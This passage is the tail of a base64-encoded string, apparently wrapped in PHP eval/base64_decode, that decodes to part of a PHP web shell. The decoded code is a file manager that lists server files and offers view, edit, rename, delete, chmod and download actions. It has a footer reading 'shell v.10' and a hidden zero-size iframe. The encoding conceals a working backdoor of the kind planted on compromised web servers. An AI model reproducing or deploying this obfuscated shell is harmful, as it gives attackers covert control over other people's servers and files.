CQkJCQllY2hvICdodHRwczovL2ltYWdlLmZsYXRpY29uLmNvbS9pY29ucy9wbmcvMTI4LzE3MjAvMTcyMDQ0NC5wbmcnOw0KCQkJCQkJCX1lbHNlaWYgKCRleHQgPT0gInNoIil7DQoJCQkJCQkJCWVjaG8gJ2h0dHBzOi8vaW1hZ2UuZmxhdGljb24uY29tL2ljb25zL3BuZy8xMjgvNjE3LzYxNzUzNS5wbmcnOw0KCQkJCQkJCX1lbHNlaWYgKCRleHQgPT0gInB5Iil7DQoJCQkJCQkJCWVjaG8gJ2h0dHBzOi8vaW1hZ2UuZmxhdGljb24uY29tL2ljb25zL3BuZy8xMjgvMTgwLzE4MDg2Ny5wbmcnOw0KCQkJCQkJCX1lbHNlaWYgKCRleHQgPT0gImluZHNjIil7DQoJCQkJCQkJCWVjaG8gJ2h0dHBzOi8vaW1hZ2UuZmxhdGljb24uY29tL2ljb25zL3BuZy81MTIvMTI2NS8xMjY1NTExLnBuZyc7DQoJCQkJCQkJfWVsc2VpZiAoJGV4dCA9PSAic3FsIil7DQoJCQkJCQkJCWVjaG8gJ2h0dHBzOi8vaW1nLmljb25zOC5jb20vdWx0cmF2aW9sZXQvMngvZGF0YS1jb25maWd1cmF0aW9uLnBuZyc7DQoJCQkJCQkJfWVsc2VpZiAoJGV4dCA9PSAicGwiKXsNCgkJCQkJCQkJZWNobyAnaHR0cDovL2kuaW1ndXIuY29tL1BubVg4SDkucG5nJzsNCgkJCQkJCQl9ZWxzZWlmICgkZXh0ID09ICJwZGYiKXsNCgkJCQkJCQkJZWNobyAnaHR0cHM6Ly9pbWFnZS5mbGF0aWNvbi5jb20vaWNvbnMvcG5nLzEyOC8xMzYvMTM2NTIyLnBuZyc7DQoJCQkJCQkJfWVsc2VpZiAoJGV4dCA9PSAibXA0Iil7DQoJCQkJCQkJCWVjaG8gJ2h0dHBzOi8vaW1hZ2UuZmxhdGljb24uY29tL2ljb25zL3BuZy8xMjgvMTM2LzEzNjU0NS5wbmcnOw0KCQkJCQkJCX1lbHNlaWYgKCRleHQgPT0gIm1wMyIpew0KCQkJCQkJCQllY2hvICdodHRwczovL2ltYWdlLmZsYXRpY29uLmNvbS9pY29ucy9wbmcvMTI4LzEzNi8xMzY1NDgucG5nJzsNCgkJCQkJCQl9ZWxzZWlmICgkZXh0ID09ICJnaXQiKXsNCgkJCQkJCQkJZWNobyAnaHR0cHM6Ly9pbWFnZS5mbGF0aWNvbi5jb20vaWNvbnMvcG5nLzEyOC82MTcvNjE3NTA5LnBuZyc7DQoJCQkJCQkJfWVsc2VpZiAoJGV4dCA9PSAibWQiKXsNCgkJCQkJCQkJZWNobyAnaHR0cHM6Ly9pbWFnZS5mbGF0aWNvbi5jb20vaWNvbnMvcG5nLzEyOC82MTcvNjE3NTIwLnBuZyc7DQoJCQkJCQkJfWVsc2V7DQoJCQkJCQkJCWVjaG8gJ2h0dHA6Ly9pY29ucy5pY29uYXJjaGl2ZS5jb20vaWNvbnMvemhvb2xlZ28vbWF0ZXJpYWwvMjU2L0ZpbGV0eXBlLURvY3MtaWNvbi5wbmcnOw0KCQkJCQkJCX0NCgkJCQkJCQllY2hvICciIGNsYXNzPSJpY28yIj48L2ltZz4nOw0KCQkJCQkJCS8qIGNlayBqaWthIGthcmFrZXIgdGVybGFsdSBwYW5qYW5nICovDQoJCQkJCQkJaWYgKHN0cmxlbigkZmlsZSkgPiAyNSl7DQoJCQkJCQkJCSRfZmlsZSA9IHN1YnN0cigkZmlsZSwgMCwgMjUpLiIuLi4tLiIuJGV4dDsJCQkJCQkJCQkJCQkNCgkJCQkJCQl9ZWxzZXsNCgkJCQkJCQkJJF9maWxlID0gJGZpbGU7DQoJCQkJCQkJfQ0KCQkJCQkJCWVjaG8nIDxhIGhyZWY9Ij9kaXI9Jy4kcGF0aC4nJmFrc2k9dmlldyZmaWxlPScuJHBhdGguJy8nLiRmaWxlLiciPicuJF9maWxlLic8L2E+PC90ZD4NCgkJCQkJCQk8dGQ+Jy5mb3JtYXRTaXplKGZpbGVzaXplKCRmaWxlKSkuJzwvdGQ+DQoJCQkJCQkJPHRkPicuJGZ0aW1lLic8L3RkPg0KCQkJCQkJCTx0ZD48YSBocmVmPSI/ZGlyPScuJHBhdGguJyZha3NpPWNobW9kX2ZpbGUmZmlsZT0nLiRwYXRoLicvJy4kZmlsZS4nIiBjbGFzcz0idGV4dC1jZW50ZXIiPic7DQoJCQkJCQkJaWYoaXNfd3JpdGFibGUoJHBhdGguJy8nLiRmaWxlKSkgZWNobyAnPGZvbnQgY29sb3I9IiMwMGZmMDAiPic7DQoJCQkJCQkJZWxzZWlmKCFpc19yZWFkYWJsZSgkcGF0aC4nLycuJGZpbGUpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KCQkJCQkJCWVjaG8gcGVybXMoJHBhdGguJy8nLiRmaWxlKTsNCgkJCQkJCQlpZihpc193cml0YWJsZSgkcGF0aC4nLycuJGZpbGUpIHx8ICFpc19yZWFkYWJsZSgkcGF0aC4nLycuJGZpbGUpKSBlY2hvICc8L2ZvbnQ+PC9hPjwvdGQ+DQoJCQkJCQkJPHRkIGNsYXNzPSJkLWZsZXgiPg0KCQkJCQkJCQk8YSB0aXRsZT0iU2VlIiBjbGFzcz0iYmFkZ2UgYmFkZ2UtaW5mbyIgaHJlZj0iP2Rpcj0nLiRwYXRoLicmYWtzaT12aWV3JmZpbGU9Jy4kcGF0aC4nLycuJGZpbGUuJyI+Jm5ic3A7PGkgY2xhc3M9ImZhIGZhLWV5ZSI+PC9pPiZuYnNwOzwvYT4mbmJzcDsmbmJzcDsNCgkJCQkJCQkJPGEgdGl0bGU9IkVkaXQiIGNsYXNzPSJiYWRnZSBiYWRnZS1TdWNjZXNzIiBocmVmPSI/ZGlyPScuJHBhdGguJyZha3NpPWVkaXQmZmlsZT0nLiRwYXRoLicvJy4kZmlsZS4nIj4mbmJzcDs8aSBjbGFzcz0iZmFyIGZhLWVkaXQiPjwvaT4mbmJzcDs8L2E+Jm5ic3A7Jm5ic3A7DQoJCQkJCQkJCTxhIHRpdGxlPSJSZW5hbWUiIGNsYXNzPSJiYWRnZSBiYWRnZS1TdWNjZXNzIiBocmVmPSI/ZGlyPScuJHBhdGguJyZha3NpPXJlbmFtZSZmaWxlPScuJHBhdGguJy8nLiRmaWxlLiciPiZuYnNwOzxpIGNsYXNzPSJmYSBmYS1wZW5jaWwiPjwvaT4mbmJzcDs8L2E+Jm5ic3A7Jm5ic3A7DQoJCQkJCQkJCTxhIHRpdGxlPSJEZWxldGUiIGNsYXNzPSJiYWRnZSBiYWRnZS1kYW5nZXIiIGhyZWY9Ij9kaXI9Jy4kcGF0aC4nJmFrc2k9aGFwdXNmJmZpbGU9Jy4kcGF0aC4nLycuJGZpbGUuJyIgdGl0bGU9IkRlbGV0ZSI+Jm5ic3A7PGkgY2xhc3M9ImZhIGZhLXRyYXNoIj48L2k+Jm5ic3A7PC9hPiZuYnNwOyZuYnNwOw0KCQkJCQkJCQk8YSB0aXRsZT0iRG93bmxvYWQiIGNsYXNzPSJiYWRnZSBiYWRnZS1wcmltYXJ5IiBocmVmPSI/JmRpcj0nLiRwYXRoLicmYWtzaT1kb3dubG9hZCZmaWxlPScuJHBhdGguJy8nLiRmaWxlLiciIHRpdGxlPSJEb3dubG9hZCI+Jm5ic3A7PGkgY2xhc3M9ImZhIGZhLWRvd25sb2FkIj48L2k+Jm5ic3A7PC9hPg0KCQkJCQkJCTwvdGQ+DQoJCQkJCQk8L3RyPic7DQoJCQkJCX0NCgkJCQllY2hvICc8L3RhYmxlPjwvZGl2Pjxoci8+DQoJCQkJPGNlbnRlcj48YSBjbGFzcz0idGV4dC1tdXRlZCIgaHJlZj0iaHR0cHM6Ly9mYWNlYm9vay5jb20vbXJqaGF4eGNvcmUiPsKpQ29weXJpZ2h0ICZjb3B5OyBzaGVsbCB2LjEwPC9hPjwvY2VudGVyPjxici8+JzsJDQoJCQkJZWNobyAiPGEgaHJlZj0nIycgY2xhc3M9J3Njcm9sbFRvVG9wJz48aSBjbGFzcz0nZmEgZmEtYXJyb3ctdXAgdXAnIGFyaWEtaGlkZGVuPSd0cnVlJz48L2k+PC9hPiI7Pz4NCgkJCQk8aWZyYW1lIHdpZHRoPSIwJSIgaGVpZ2h0PSIwIiBzY3JvbGxpbmc9Im5vIiBmcmFtZWJvcmRlcj0ibm8iIGxvb3A9InRydWUiIGFsbG93PSJhdXRvcGxheSIgc3JjPSIiPjwvaWZyYW1lPiANCgkJCTwvZGl2Pg0KCQk8L2Rpdj4NCgk8L2JvZHk+DQo8L2h0bWw+"));?>